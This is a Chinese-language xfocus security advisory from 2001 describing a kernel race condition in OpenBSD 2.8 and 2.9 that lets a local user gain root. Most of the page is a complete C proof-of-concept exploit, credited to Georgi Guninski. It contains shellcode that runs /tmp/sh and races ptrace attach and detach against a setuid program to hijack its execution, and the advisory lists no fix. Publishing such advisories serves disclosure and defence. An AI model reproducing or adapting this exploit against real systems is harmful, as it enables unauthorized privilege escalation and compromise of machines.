xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

OpenBSD 2.9,2.8 内核存在环境竞争漏洞


发布时间:2001-06-15
更新时间:2001-06-15
严重程度:
威胁程度:本地管理员权限
错误类型:竞争条件
利用方式:服务器模式

受影响系统
OpenBSD 2.9,2.8
详细描述
OpenBSD 2.9,2.8 由于在内核中存在环境竞争问题,可以导致普通
用户获得ROOT权利,类似于以前的linux内核环境竞争问题。

通过派剩几个进程可能把+s的pid付到ptrace上,当被付上时进程相似处于
奇怪的状态,相反的man info PT_DETACH允许指定一地址来继续执行。

测试代码
-------------vvopenbsd.c----------------------
/* Written by Georgi Guninski http://www.guninski.com
Tested on OpenBSD 2.9 and 2.8
Works best after reboot - the +s program must not be executed before, seems
executes /tmp/sh
/tmp/su must be a link to +s program
if the +s program has been executed, create and run shell script the size of RAM
You may need to type "fg" if the program receives stop signal
you may need to run the program several times
*/


#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <limits.h>
#include <errno.h>
#include <stdlib.h>
#include <machine/reg.h>


int me=0;


void endit(int x)
{
if(!me)
{
printf("exiting\n");
exit(0);
}
}


extern char **environ;
int main(int ac, char **av)
{


volatile struct reg pt;


//exec "/tmp/sh"
char bsdshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
                  "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53"
                  "\xb0\x3b\x50\xcd\x80\x90\x90\x90";


int j,status,sig;
volatile int done=0;
volatile static int done2=0;
int pid,pid2,i;
int num; // number of processes to fork. 20 works for me on Pentium500
int target;


char *env1;
// address of $joro where execution of shell code begins.may need to be changed
unsigned int breakat=0xdfbfddaf;
num=20;
pid=getpid();
if(!getenv("joro"))
{
setenv("joro",bsdshell,1);
if (execle(av[0],"a",NULL,environ))
perror("exec");
}
else
breakat=(int)getenv("joro");
printf("Written by Georgi Guninski\nShall jump to %x\n",breakat);
target=pid;
printf("Started pid1=%d target=%d\n",pid,target);
for(i=0;i<num;i++)
{
if (!done)
  if(! (pid2 = fork()))
  {
   signal(SIGURG,&endit);
   pid2=getpid();
   while(!done)
   {
    if (!ptrace(PT_ATTACH, target,NULL,NULL))
   {
   done=1;
   printf("\nAttached!\n");
  
   wait(&status);
   sig=WSTOPSIG(status);


  printf("sig=%d %s\n",status,sys_siglist[sig]);
  ptrace(PT_GETREGS,target,(caddr_t)&pt,NULL);
  printf("eip=%x esp=%x\n",pt.r_eip,pt.r_esp);
  
me=1;
done2 +=1;
  
  ptrace(PT_DETACH, target,(caddr_t)breakat,NULL);


//sleep(2);
kill(0,SIGURG);
sleep(4);
while(42)
kill(target,SIGCONT);
   }
  }
  }
}
// "/tmp/su" must be symbolic link to +s program .
// the program must not be executed before.
execle("/tmp/su","/usr/bin/su",NULL,environ);
}


----------------------------------------------

解决方案
尚无

相关信息
Georgi Guninski
http://www.guninski.com